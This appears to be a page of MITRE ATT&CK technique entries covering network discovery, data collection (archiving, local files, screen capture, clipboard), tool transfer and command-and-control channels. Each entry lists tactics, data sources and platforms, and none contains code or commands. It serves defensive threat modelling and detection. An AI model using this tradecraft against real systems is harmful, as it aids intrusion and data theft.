Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre